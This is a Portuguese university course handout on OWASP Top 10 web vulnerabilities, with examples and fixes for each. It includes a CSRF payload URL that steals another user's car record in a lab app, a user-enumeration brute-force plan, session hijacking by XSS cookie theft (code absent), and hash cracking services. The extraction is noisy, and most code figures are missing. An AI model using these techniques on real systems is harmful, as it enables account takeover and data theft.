Ento para alterar um proprietrio de um veculo, o seguinte modelo de requisio enviado para o servidor: acao.php?op=troca_dono&carro=[id do carro]&novo_dono=[id do novo dono] Vejamos o contedo da operao troca_dono do arquivo acao.php:
Pgina 55
Repare que a alterao feita prevenindo-se de SQL Injection (OWASP #2) e de Referncia Indireta a Objetos Inseguros (OWASP #4) portanto o mesmo aparenta seguro. O problema est no no fato de a requisio ter sido feito utilizando o usurio proprietrio do carro, mas sim se foi realmente o usurio quem fez. Se o usurio Maycon Maia deseja obter (roubar) o carro de cdigo quatro (4) que pertence a um usurio Daniel da Silva, basta ele cadastrar um carro e definir o seguinte como caminho da figura de exibio: http://localhost/AtaquesWeb/owasp4/acao.php?op=troca_dono&carro=4&novo_dono=2 Onde quatro o cdigo do veculo e dois o seu prprio cdigo de usurio. O resultado para a listagem de veculos seria o seguinte:
Pgina 56
Repare que para o veculo do usurio Maycon Maia no apareceu a imagem de exibio, vejamos no HTML da pgina o que esta inserido:
possvel ver atravs do inspector do FireBug que o cadastro foi feito como o atacante (Maycon) previu. Agora basta ele esperar o usurio Daniel acessar a listagem de veculo que a requisio ser enviada para o servidor com suas credenciais e a troca ser efetuada e a listagem de veculos ficar da seguinte forma: Curso de Extenso Tecnolgica de Segurana em Web Pgina 57
Ou seja, o veculo de cdigo 4 foi alterado para o usurio Maycon pelo usurio Daniel de maneira inconsciente.
2.5.3 Soluo
A primeira coisa fazer para prover uma soluo seria no deixar qualquer vulnerabilidade de XSS em sua aplicao, pois como dito, bem provvel que um atacante consiga explorar uma falha de XSRF atravs de uma vulnerabilidade de XSS. Com relao ao exemplo, mesmo a utilizao da funo addslashes() no deixaria a aplicao livre da vulnerabilidade de XSRF. Para isto, a OWASP recomenda desenvolver um controle prprio de tokens, ou seja, no depender exclusivamente do cookie do usurio para garantir a autenticidade. Uma alternativa seria gerar um valor aleatrio e armazen-lo em um campo hidden juntamente com o formulrio de troca de proprietrio. Esse campo seria enviado junto da solicitao de alterao de proprietrio e seria validado com o valor original em sesso para garantir que realmente foi uma solicitao requerida pelo usurio.
Pgina 58
3.6. Vazamento de Informao e Tratamento Incorreto de Erros (OWASP #6)

A vulnerabilidade de Vazamento de Informao (ou Information Leak do ingls) sempre serviu de grande auxlio para um atacante experto. Em um processo de pen-test (Teste de Intruso), quando se detecta um vazamento de informao, a mesma inserida no relatrio tcnico como grau de risco e possvel vetor de ataque. Qualquer informao que no foi til para o usurio no deve ser fornecida a ele. Ou melhor, s deve ser fornecido ao usurio informaes que fariam falta a ele. extremamente comum vermos paginas e portais lanando dumps de pilha de chamada, comandos inteiros de SQL, informaes de debug etc, simplesmente por pormos uma aspa simples em uma varivel. Alm disto, um vazamento de informao pode estar to implcito que dificilmente percebemos, porm um atacante logo percebe.
3.6.1 Primeiro Exemplo Mensagens Diversas

Um exemplo clssico e comum de encontrar-se na internet o visto no trecho de cdigo abaixo j visto quando estvamos estudando SQL Injection:
Pgina 59
possvel notar a preocupao com SQL Injection atravs da utilizao da funo addslashes() do PHP. Contato, o programador fornece ao usurio mais informaes que ele precisa. Se um usurio digitar um usurio e uma senha, e algum dos dois estiver errado, a aplicao exibe qual dos dois est errado, ou seja, se ele no encontrou o usurio especificado ou se a senha fornecida esta incorreta. Ai que temos o vazamento de informao. Um atacante hbil facilmente ver o possvel vetor de ataque: um brute-force. Porm para brute-force precisa-se de dicionrios com usurios e senhas (combolist). Se formos pegar os 200 sobrenomes mais comuns da lngua portuguesa e prefixarmos cada um deles com uma letra do alfabeto (aalves, balves, calves, dalves ...), teramos exatamente 5.200 possveis usurios. Se para senha utilizssemos todos os possveis aniversrios DDMMAA desde 01/01/1960 at 31/12/2008, teramos aproximadamente 17.520 senhas possveis. Se um atacante necessitasse de fazer um brute-force puro utilizando todos os possveis usurios com todas as possveis senhas, o mesmo teria que enviar mais de 91 milhes de requisies para o servidor (5.200 * 17.520 = 91.104.000). Levando em considerao que cada requisio demorasse aproximadamente 1 segundo (isso ainda rpido), levaria nada mais nada menos do que um pouco menos de 3 anos para terminar todos as possibilidades. Porm, atravs da descoberta do vazamento de informao, um atacante divide o ataque. Inicialmente ele desenvolve um programa em sua linguagem preferida que efetue as requisies com todos os usurios, se na resposta ele encontra algo como Usurio Invlido ele simplesmente descarta o usurio e passa para o prximo. Com isto, ele consegue enumerar possveis usurios do sistema. E isto ele faria em menos de 1h30 (5.200 com uma requisio por segundo dura aproximadamente 1 hora e 27 minutos). Se com isto ele encontrar, por exemplo, 5 (cinco) usurios validos, ao fazer o brute-force com as senhas, ele demoraria um pouco mais de 24 horas (5 * 17.520 = 87600 tentativas. Com uma tentativa por segundo leva aproximadamente 24h e 8 minutos).
3.6.2 Segundo Exemplo Mensagens de Erro

comum vermos mensagens de erros de depurao de auxilio ao desenvolvedor sendo enviado ao usurio. Com estas mensagens obtivemos comandos SQL ou pelo menos parte deles, fluxo de execuo (stack trace). Um exemplo de Vazamento de Informao pelo no tratamento de erros pode ser visto na figura abaixo:
Pgina 60
possvel notar o nome de dois campos. Alm disto, possvel saber que no existe qualquer padro de nomenclatura, ou seja, frequentemente v-se tabelas com prefixo tbl, tab_ etc. Alm de campos com prefixo int, str, usu_ etc pra representar seu tipo. Com isto possvel saber auxiliar um ataque de brute-force caso no exista ou no se tenha permisso ao INFORMATION_SCHEMA.
Soluo
No existe uma soluo objetiva para as vulnerabilidades de Vazamento de Informao. Uma alternativa seria a boa prtica de desenvolvimento seguro, de maneira a ficar adaptado aos possveis furos que um atacante tiraria proveito, podendo assim evit-los. Uma alternativa (recomendada pela OWASP) seria utilizar ferramentas de auditoria como WebScarab da OWASP, que fora suas aplicaes a gerarem erros, podendo assim estabiliz-lo antes que um atacante o encontre e tire proveito. No caso do PHP, atravs da diretiva error_reporting no php.ini possvel definir quais erros e alertas sero enviadas para o usurio. Para no exibir qualquer erro ao usurio basta alterar o valor da varivel error_reporting no php.ini como segue: error_reporting ~E_ALL
Pgina 61
3.7. Furo de Autenticao e Gerncia de Sesso (OWASP #7)

O Furo de Autenticao e Gerncia de Sesso, apesar de pouco explorado por atacantes, um fator determinante na segurana de um sistema. Se um atacante conseguir obter acesso ao controle de sesso de sua aplicao ele conseguir acessar com qualquer uma das credenciais de acesso. comum encontrar sistemas que utilizam prprios sistemas de gerncia de sesso muitas vezes para tentar obter um controle melhor como a funcionalidade de saber quais so os visitantes locais ou ter um controle de expirao de sesso prpria. Isto consiste em uma grave falha de segurana, pois por uma m implementao um atacante poderia obter controle total do mecanismo de autenticao utilizado.
3.7.1 Sequestro de Sesso

Quando simplesmente se confia no cookie enviado pelo usurio (padro de controle de sesso dos servidores Web), existe uma vulnerabilidade caso, atravs de alguma falha, um atacante conseguisse obter o valor do mesmo. Um exemplo clssico seria a utilizao de uma falha de Cross-Site-Scripting para fazer o sequestro da sesso de um usurio autenticado atravs da leitura, armazenamento e replicao do cookie. Com isto, obtm-se acesso ao sistema utilizando as credenciais da vtima de maneira a sequer precisar se autenticar e obtiver a senha do mesmo. Um exemplo de cdigo vulnervel pode ser visto abaixo:
Neste exemplo possvel perceber a verificao de autenticao pela varivel de sesso logado. Este tipo de cdigo deveria ser repetido em todas as pginas e, quando um usurio tentar acessar qualquer uma das pginas sem estar devidamente autenticado seria redirecionado para a pgina de login. A sesso consiste em uma relao entre o cliente (navegador) e o servidor atravs dos cookies. Quando o usurio efetua a autenticao, o servidor envia no cabealho http um parmetro Set-Cookie, informando-o qual o cookie de autenticao gerado. Ento, a cada nova requisio do cliente, enviado no cabealho http um parmetro cookie contendo o valor obtido, fazendo com que o servidor assimile a requisio ao cliente autenticado. Utilizando uma falha de Cross-Site-Scripting possvel enviando o valor do cookie, acessvel atravs da varivel document.cookie, para outro servidor. Este servidor pode simplesmente armazen-la para um atacante sequestrar a sesso do usurio, porm tendo o risco da sesso
Pgina 62
no existir mais no intervalo de tempo, ou poderia escrever um script que faria automaticamente as requisies necessrias. Essas requisies poderiam fazer diversos envios ao servidor utilizando o cookie passado como parmetro, de maneira a efetuar as operaes com as credenciais do usurio. Um exemplo de cdigo que captura o cookie enviado pelo usurio pode ser visto abaixo:
Com isto, bastaria explorar uma falha de Cross-Site-Scripting de maneira que o navegador execute o seguinte script Javascript:
Esta uma das diversas maneiras que temos de chamar um script em outro servidor. Alm disto, podemos utilizar tags iframe, utilizar Ajax, redirecionar a pgina fazendo com que nosso cdigo retorne para a pgina original, etc. Alm das falhas de XSS, o valor do cookie pode ser obtido atravs de ataques rede local. Um sniffer instalado em uma mquina juntamente com um ataque de man-in-the-middle (MItM) pode ser extremamente til a um atacante que deseja obter o cookie de alguma sesso autenticada.
3.7.2 Soluo
Uma possvel soluo seria, ao criar a sesso do usurio, associar o IP que a criou junto da sesso. Com isto, basta a cada acesso fazer uma checagem se o endereo que esta tentando acessar alguns recursos est utilizando um cookie realmente criado por ele.
Pgina 63
Um exemplo de cdigo que faa esse tipo de verificao pode ser visto abaixo:
Note que o cdigo leva em considerao que, ao se criar uma nova sesso, deve-se salvar o IP que foi utilizado, para que seja feita a comparao a cada requisio. Portanto, esta soluo possui dois problemas notveis: (1) se o ataque partir da mesma rede da vtima, ou seja, se tanto o atacante quanto a vitima estejam na mesma rede interna e o servidor estiver na rede externa, ambos (atacante e vtima) teria o mesmo IP externo para o servidor. (2) Existe um vetor de ataque para Sequestro de Sesso (Session Hijacking) que se chama Fixao de Sesso (Session Fixation). Esta tcnica consiste em definir a sesso da vtima antes me smo dela ter uma sesso criada. No exemplo, a sesso existiria, porm no existiriam as variveis que definiriam a autenticao. Quando o usurio autenticar, a mesma sesso ser utilizada para definir as variveis e o IP estaria associado com o IP do atacante (quem criou a sesso). Apesar de existir a possibilidade de sequestro de sesso, a falha em si no est no sesso, mas sim na vulnerabilidade de Cross-Site-Scripting que permitiria ao atacante obter o cookie de autenticao. Outra possvel soluo est em, a cada requisio, criar valores aleatrios (tokens) associados a qualquer campo de formulrio e, a cada requisio, validar se o token foi o mesmo enviado. Porm, se o atacante criar um worm e o usurio no interagir muito com o sistema, seria possvel obter o valor do token da pgina e submeter o ataque antes que o mesmo mude. Para evitar qualquer maneira de Sequestro de Sesso, existe um parmetro de cookie chamado HttpOnly. Este parmetro diz para cliente aceitar os cookies normalmente, porm sem os repassar para a estrutura JavaScript, de maneira a impedir a existncia da varivel document.cookie.
3.7.3 Nota Extra

O sequestro de sesso no um problema que afeta somente o http. Qualquer meio de comunicao que garanta a vinculao e legitimidade entre os extremos atravs de um identificador nico pode ser alvo de sequestro de sesso. Um exemplo esta no TCP/IP, que utiliza um nmero seqencial (Sequence Number) para garantir a autenticidade das informaes. Se um atacante conseguir obter esse valor, ele poder sequestrar a conexo aberta de maneira a interagir com ambos os lados. claro que quando temos um meio criptografado o contexto muda, porm notvel que sempre temos meios de subverter uma mquina caso estejamos presentes na mesma rede que ela. Pgina 64 Curso de Extenso Tecnolgica de Segurana em Web
3.8. Armazenamento Criptogrfico Inseguro (OWASP #8)

extremamente comum vermos aplicaes Web trabalhando com dados sensveis. Quando isto acontece, deve-se prezar principalmente a confidencialidade das informaes. Para isto, existem algoritmos de criptografia, que visam proteger os dados caso o banco de dados seja comprometido (j vimos que isto possvel). Porm, comum vermos dados sigilosos utilizando uma fraca proteo, e expostos diretamente ao usurio. Iremos citar alguns exemplos comuns dos problemas causados pela no ou m utilizao dos recursos de criptografia existentes em ambiente Web.
3.8.1 Criptografia VS Hash

Esta diferena comum aos que estudar boas praticas de segurana em aplicaes. Porm, comum vermos somente uma ou nenhuma sendo utilizada. A diferena bsica entre funes criptogrficas e funes hash est quando a sua inverso. Quando se criptografa um dado, possvel desfaz-lo, ou seja, utilizando uma chave de descodificao possvel obter a informao original. J para funes hash no existe inversa. Ao fazer o calculo hash de um dado valor, no existe um mtodo de se obter o dado original. Funes hashs so comumente utilizadas para se verificar a integridade de dados, ou seja, se fornecermos uma informao e juntamente com ela seu hash, quando o receptor obter a informao e recalcular o hash novamente, ambos, obtido e gerado, de vem ser idnticos. A mudana de um bit sequer do dado alteraria completamente o hash resultante. Ataques comuns em funes de hashs so o processo de coliso, ou seja, de se encontrar dois valores que resultam o mesmo valor hash, com isto, um determinado valor pode ser utilizado para se passar por um outro valor. Porm, em dados pequenos como senhas, esta prtica invivel e ineficaz, pois no existe um meio aprimorado de se obter tal coliso.
3.8.2 Mal da Poltica de Segurana

Muitas vezes em um processo de implantao de uma poltica de segurana, o consultor de segurana pe como parte da responsabilidade de segurana todos os ativos (funcionrios) envolvidos no processo. Um cenrio comum a implantao de poltica de segurana em uma empresa definir como regra para os usurios colocar senhas fortes nos aplicativos de maneira a evitar que ataques de fora-bruta no surtam efeito. Outra metodologia comum ignorar qualquer poltica de segurana para os usurios e confirmar somente em mtodos fortes de criptografia. Um cenrio ideal seria utilizar ambos os casos, ou seja, criar uma poltica de segurana de senhas fortes para os usurios e no depender somente disto, procurando utilizar mecanismos fortes de proteo.
Pgina 65
3.8.3 Ataques a Sistemas Criptogrficos

Em criptografia, apesar dos algoritmos serem muitas vezes pblicos, o grande dilema est na proteo da chave de criptografia. Quando se fala de criptografia, dois tipos de algoritmos so definidos: os algoritmos simtricos e os algoritmos assimtricos. Um algoritmo simtrico tem a caracterstica de utilizar a mesma chave tanto para a codificao dos dados quanto para a descodificao. O grande problema que, se duas mquinas no se conhecem e deseja trocar dados, necessrio negociarem a chave e a mesma ser trocada entre as duas. Neste instante um atacante pode utilizar de ataques envolvendo o TCP/IP para capturar a chave, fazendo a mesma no cumprir seu papel de fornecer confidencialidade das informaes. Em algoritmos assimtricos, cada um dos lados possui um par de chaves, uma sendo a chave publica e outra a chave pblica. Como o nome sugere, a chave privada de exclusividade do seu portador, no permitindo que a mesma seja exporta. J a chave publica pode ser obtida livremente. O processo de comunicao entre dois lados inicia-se com a troca de suas chaves publicas. Com isto, quando um host A deseja enviar uma mensagem para o host B, o mesmo deve cifrar a mensagem utilizando a chave pblica de B, pois a caracterstica dos algoritmos assimtricos esta no fato de um dado criptografado com uma chave privada s pode ser descriptografado com utilizando sua respectiva chave privada. O grande problema de algoritmos de criptografia assimtrico manter o sigilo da chave. Se uma aplicao visa utilizar criptografia assimtrica, a mesma deve armazenar sua chave em um local seguro. Contato, se alguma outra vulnerabilidade acarretar no acesso ao sistema, a chave poderia ser facilmente obtida. Muitas vezes, pelos algoritmos famosos serem pblico, um desenvolvedor no se sente confiante em utiliz-lo, criando seu prprio mecanismo de criptografia, comumente chamados pelos especialistas em segurana como algoritmo caseiro ou de maneira mais arrogante como algoritmo de fundo de quintal. Isto considerada uma prtica banal que pode comprometer todo o sistema. A melhor maneira de subverter uma criptografia seria atravs da descoberta da chave utilizada. Como na grande maioria das vezes a chave fica vinculada aplicao, se conseguirmos qualquer vetor de explorao que nos permita acessar a aplicao, bastaria ler a chave e ento decifrar qualquer informao que esteja criptografada por ela. Caso no seja possvel obter a chave por uma vulnerabilidade, uma alternativa seria atravs de fora-bruta, ou seja, caso no saiba qual a chave, utilize alguma ferramenta que efetue forabruta com milhares de tentativas e espere que alguma delas coincidir com o dado real. Outro mecanismo interessante seria a utilizao de ataque de bomba lgica em um processo de autenticao. Quando se tem acesso a um determinado sistema, porm se qualquer privilgio, muitas vezes necessrio acessar com outros privilgios (de outro usurio), porm por mais que se tenha uma vulnerabilidade que permita ler a senha da vtima do banco, a mesma pode encontra-se criptografada. Para se ter sucesso em um ataque de bomba lgica, Pgina 66 Curso de Extenso Tecnolgica de Segurana em Web
necessrio ter conhecimento de uma senha (tanto original quanto criptografada) e, utilizandose dela, atualiza-se a senha da vtima para ela e passado algum tempo restaura-se para a original. Neste perodo de espera, basta acessar a conta da vtima utilizando a senha que se tem o conhecimento.
3.8.4 Ataques a Funes Hash

O mais comum para armazenamento de senha so os algoritmos de hash, pois no necessrio ter conhecimento da senha original para se autenticar. Um exemplo de cdigo que utilizar funo de hash para validao do formulrio de autenticao pode ser visto abaixo:
Neste caso a senha deve ser armazenada em forma de seu hash e, em momento algum, a senha original armazenada, tornando impossvel de obt-la. A forma com que a criptografia esta sendo utilizada considerado incompleto, pois para o mesmo seria necessrio uma poltica de segurana que proba aos usurios do sistema de utilizarem senhas fceis o que contenham padres.
Pgina 67
Existem diversos sistemas e portais que armazenam milhares de possveis senhas e seus possveis hash. Alguns deles so: http://www.milw0rm.com/cracker/ http://www.md5crack.com/ http://www.hashchecker.com/ Um projeto para se dar destaque o RainbowCrack (http://project-rainbowcrack.com/). Ele consiste na utilizao da tcnica de algoritmo chamada Time-memory Tradeoff. Para se ter uma idia, utilizando-se uma mquina com uma placa GeForce 9800 GTX+ e a tcnica de bruteforce, possvel testar 350 milhes de senhas (texto puro) por segundo. Utilizando o mesmo hardware, porm o RainbowCrack na verso 1.3 possvel testar 62.223 milhes de senhas em texto puro por segundo. O projeto RainbowCrack possui um canal no IRC onde existem BOTNets que esto vinculado a um bancos de dados de hash que lendas dizem ter dados na grande de TeraBytes. O canal chama-se #RainbowCrack e esta no servidor irc.plain-text.info. Para testes, possvel ver na figura abaixo uma consulta ao BotNet apelidado C4P0 pelo hash MD5 e8d95a51f3af4a3b134bf6bb680a213a. A resposta fornecida em menos de 1 segundo.
3.8.5 Soluo
Uma possvel soluo seria criar uma poltica de segurana rgida. Entretanto, no se pode confiar que, mesmo aps o critrio estabelecido, o usurio venha a seguir as regras estabelecidas. Se forar a aplicao a somente aceitar senhas de acordo com o critrio estabelecido pela poltica de segurana, estaramos tambm auxiliando a um atacante que deseja efetuar um brute-force na aplicao. Outra possvel soluo seria aplicar a funo de hash mais de uma vez, ou at mesmo utilizar mais de uma funo de validao. Porm, alguns especialistas dizem que este mtodo tambm reduzir o nmero de possibilidades em um ataque de fora bruta. Uma alternativa altamente recomendada seria a utilizao de salt no processo de codificao. A utilizao de salt consiste em concatenar a senha original com uma constante randmica, de maneira a dificultar qualquer tentativa de descoberta da senha atravs da utilizao de ataques de dicionrio ou fora-bruta no hash.
Pgina 68
3.9. Comunicao Insegura (OWASP #9)

No adianta muito codificao informaes confidenciais no processo de armazenamento se as mesmas so transmitidas de um lado a outro sem qualquer tipo de proteo. Se um atacante experiente conseguir obter acesso a qualquer mquina da rede ou do trajeto por onde as informaes passam, facilmente vai conseguir obter as informaes. comum vermos em grandes portais a criptografia ser empregada somente no processo de autenticao. Porm j vimos que, atravs da captura do trafego da rede possvel fazer o sequestro da sesso autenticada do usurio (Session Hijacking) de maneira a, sem ter acesso senha dos usurios, obter suas credenciais de permisso ao sistema. Isto implica que, quando estamos trabalhando com informaes financeiras ou que no sejam de domnio publico, fundamental a utilizao de um meio de comunicao seguro. Para isto temos o SSL (Socket Secure Layer) que prov um meio de criptografia atravs do protocolo HTTPS (HyperText Transfer Protocol Secure). Todo o trafego deve ser feito por SSL pois, como dito, se somente a autenticao o utilizar, um atacante poderia sequestrar a sesso e acessar o sistema. Apesar da utilizao do SSL, possvel para um atacante obter acesso ao sistema por descuidos dos usurios. Isto porque a maioria dos navegadores Web modernos exibem informaes referentes ao certificado de criptografia utilizado na comunicao e, quando alguma coisa estiver errada exibido um alerta ao usurio. Com ataques camada de rede, possvel efetuar o chamado man-in-the-middle (MItM) j dito antes. Com este ataque, um invasor poderia facilmente falsificar um certificado SSL e se posicionar logicamente no meio da conexo entre o usurio e o servidor, de maneira a interferir na troca das chaves e capturar e decodificar o trfego. Porm, como a chave mudou e no seria uma chave vlida, o navegador alerta o fato ao usurio, que deveria interferir para prosseguir e auxiliar o invasor no processo de intruso.
3.9.1 Soluo
Para se assegurar que ter uma comunicao segura, utilize SSL para todo o trfego que transmite informaes sigilosas como senhas, nmeros de cartes, etc. Caso utilize sesso, para evitar o sequestro da mesma, utilize SSL em todo o trafego da rede. Assegure-se que a infra-estrutura da rede no permita ataques em camadas inferiores a sua aplicao. Isto possvel atravs da configurao adequada de switch de rede e da definio de endereos ARP estaticamente.
Pgina 69
3.10. Falha de Restrio de URL (OWASP #10)

(Ateno: Esta sesso foi baseada na documentao do Top 10 OWASP em PT_BR)
Comumente, a nica proteo para uma URL no mostrar o link para usurios no autorizados. No entanto, um motivado, hbil ou apenas um sortudo atacante pode ser capaz de achar e acessar estas pginas, executar funes e visualizar dados. Segurana por obscuridade no suficiente para proteger dados e funes sensveis em uma aplicao. Verificaes de controles de acesso devem ser executadas antes de permitir uma solicitao a uma funo sensvel, na qual garante que somente o usurio autorizado acesse a respectiva funo. O principal mtodo de ataque para esta vulnerabilidade chamado de navegao forada (forced browsing), na qual envolve tcnicas de adivinhao de links (guessing) e fora bruta (brute force) para achar pginas desprotegidas. comum que aplicaes utilizem cdigos de controle de acesso por toda a aplicao, resultando em um modelo complexo que dificulta a compreenso para desenvolvedores e especialistas em segurana. Esta complexidade torna provvel a ocorrncia de erros e algumas pginas no sero validadas, deixando a aplicao vulnervel. Alguns exemplos destas falhas incluem: URLS escondidas e especiais, mostradas apenas para administradores ou usurios privilegiados na camada de apresentao, porm acessvel a todos os usurios caso tenham conhecimento que esta URL existe, como /admin/adduser.php ou /approveTransfer.do. Estas so particularmente comuns em cdigos de menus. Aplicaes geralmente permitem acesso a arquivos escondidos, como arquivos XML estticos ou relatrios gerados por sistemas, confiando toda segurana na obscuridade, escondendo-os. Cdigos que foram uma poltica de controle de acesso desatualizada ou insuficiente. Por exemplo, imagine que /approveTransfer.do foi disponibilizado uma vez para todos usurios, mas desde que os controles da SOX foram adotados, ele supostamente s pode ser acessvel por usurios aprovadores. Uma possvel correo seria no mostrar a URL para usurios no autorizados, no entanto o controle de acesso ainda no estaria implementado na requisio para esta pgina.
Pgina 70
3.10.1 Soluo
Tendo o tempo para planejar a autorizao criando uma matriz para mapear as regras e as funes da aplicao o passo primordial para alcanar a proteo contra acessos no autorizados. Aplicaes web devem garantir controle de acesso em cada URL e funes de negcio. No suficiente colocar o controle de acesso na camada de apresentao e deixar a regra de negcio desprotegida. Tambm no suficiente verificar uma vez o usurio autorizado e no verificar novamente nos passos seguintes. De outra forma, um atacante pode simplesmente burlar o passo onde a autorizao verificada e forjar o valor do parmetro necessrio e continuar no passo seguinte. Habilitar controle de acesso na URL necessita de um planejamento cuidadoso. Dentre as consideraes mais importantes podemos destacar: Garanta que a matriz do controle de acesso parte do negcio, da arquitetura e do design da aplicao; Garanta que todas URLs e funes de negcio so protegidas por um mecanismo de controle de acesso efetivo que verifique as funes e direitos do usurio antes que qualquer processamento ocorra. Certifique-se que este processo realizado em todos os passos do fluxo e no apenas no passo inicial de um processo, pois pode haver vrios passos a serem verificados; Realize um teste de invaso (penetration test) antes do cdigo entrar em produo a fim de garantir que a aplicao no poder ser utilizada de m f por um atacante motivado ou com conhecimentos avanados; Preste muita ateno em arquivos de includes/bibliotecas, especialmente se eles possuem extenses executveis como .php. Sempre que possvel, devem ser mantidos fora da raiz web. Devem ser verificados se no esto sendo acessados diretamente, por exemplo, verificando por uma constante que pode somente ser criada atravs de uma biblioteca do chamador; No suponha que usurios no estaro atentos acessar URLs ou APIs escondidas ou especiais. Sempre se assegure que aes com privilgios altos e administrativos estaro protegidos; Bloqueie acesso a todos os tipos de arquivos que a sua aplicao no deva executar. Este filtro deve seguir a abordagem accept known good na qual apenas so permitidos tipos de arquivos que a aplicao deva executar, como por exemplo .html .pdf, .php. Isto ir bloquear qualquer tentativa de acesso a arquivos de log, arquivos XML, entre outros, aos quais se espera nunca serem executados diretamente; Mantenha o antivrus e as correes de segurana atualizados para componentes como processadores XML, processadores de texto, processadores de imagem, entre outros que manipulam arquivos fornecidos por usurios.
Pgina 71
4. Referncias
OWASP (http://www.owasp.org) o site principal sobre segurana de aplicaes web. O site da OWASP hospeda diversos projetos, fruns, blogs, apresentaes, ferramentas e artigos. A OWASP organiza duas grandes conferncias de segurana por ano e mais de 80 captulos locais. Os seguintes projetos da OWASP so mais comuns de serem utilizados: OWASP Guide to Building Secure Web Applications OWASP Testing Guide OWASP Code Review Project (em desenvolvimento) OWASP PHP Project (em desenvolvimento) OWASP Java Project OWASP .NET Project
Pgina 72

Seguranca Web

Caricato da

Informazioni sul documento

Titolo originale

Copyright

Formati disponibili

Condividi questo documento

Condividi o incorpora il documento

Opzioni di condivisione

Hai trovato utile questo documento?

Questo contenuto è inappropriato?

Copyright:

Formati disponibili

Seguranca Web

Caricato da

Copyright:

Formati disponibili

CENTRO UNIVERSITRIO VILA VELHA

Curso de Extenso Tecnolgica

Curso de Extenso Tecnolgica de Segurana em Web

2. Introduo a Segurana da Inf ormao

Curso de Extenso Tecnolgica de Segurana em Web

2.1. Segurana em Web

Curso de Extenso Tecnolgica de Segurana em Web

3.1. Cross-Site-Script (OWASP #1)

Curso de Extenso Tecnolgica de Segurana em Web

3.1.1 Primeiro Exemplo Retorno de Variveis

Curso de Extenso Tecnolgica de Segurana em Web

Curso de Extenso Tecnolgica de Segurana em Web

Curso de Extenso Tecnolgica de Segurana em Web

O cdigo do codificador pode ser visto na figura abaixo:

Curso de Extenso Tecnolgica de Segurana em Web

3.1.2 Segundo Exemplo Recuperao de Dados

Curso de Extenso Tecnolgica de Segurana em Web

Curso de Extenso Tecnolgica de Segurana em Web

Curso de Extenso Tecnolgica de Segurana em Web

3.2.3 Terceiro Exemplo Alterao de Informaes da Pgina

Ou ainda utilizar o mecanismo de camuflagem j visto, deixando a URL mais ilegvel:

Curso de Extenso Tecnolgica de Segurana em Web

3.1.4 Quarto Exemplo Mudana de Escopo

Curso de Extenso Tecnolgica de Segurana em Web

Curso de Extenso Tecnolgica de Segurana em Web

Aplicando somente a funo no cdigo acima, vejamos o resultado:

Curso de Extenso Tecnolgica de Segurana em Web

3.2. Injeo de SQL (OWASP #2)

Curso de Extenso Tecnolgica de Segurana em Web

3.2.1 Primeiro Exemplo Formulrio de Acesso

Curso de Extenso Tecnolgica de Segurana em Web

3.2.1.1 Mtodo de Ataque

O resultado da intruso pode ser visto na figura abaixo:

3.2.1.2 Primeira Proteo Ineficaz

Curso de Extenso Tecnolgica de Segurana em Web

Curso de Extenso Tecnolgica de Segurana em Web

3.2.1.3 Segunda Proteo Ineficaz

Curso de Extenso Tecnolgica de Segurana em Web

Assim, todo o comando SQL ficaria da seguinte forma:

3.2.1.4 Terceira Proteo do Primeiro Exemplo (Eficiente?)

Curso de Extenso Tecnolgica de Segurana em Web

3.2.2 Segundo Exemplo (Ajax + Variveis Numricas)

Curso de Extenso Tecnolgica de Segurana em Web

Vejamos o seguinte cdigo:

O arquivo HTML em funcionamento pode ser visto na figura abaixo:

Curso de Extenso Tecnolgica de Segurana em Web

3.2.2.1 Ferramenta Auxiliar (FireBug)

Curso de Extenso Tecnolgica de Segurana em Web

Curso de Extenso Tecnolgica de Segurana em Web

Curso de Extenso Tecnolgica de Segurana em Web

3.2.2.2 - Utilizando o INFORMATION_SCHEMA

Curso de Extenso Tecnolgica de Segurana em Web

3.2.2.3 Descobrindo o Nmero de Colunas

Curso de Extenso Tecnolgica de Segurana em Web

Curso de Extenso Tecnolgica de Segurana em Web

3.2.2.4 Obtendo colunas visveis

Curso de Extenso Tecnolgica de Segurana em Web

3.2.2.5 Localizando Tabelas Necessrias

3.2.2.6 Descobrindo o Nome das Colunas

Curso de Extenso Tecnolgica de Segurana em Web

3.2.2.7 Efetuando o Ataque

Curso de Extenso Tecnolgica de Segurana em Web

Curso de Extenso Tecnolgica de Segurana em Web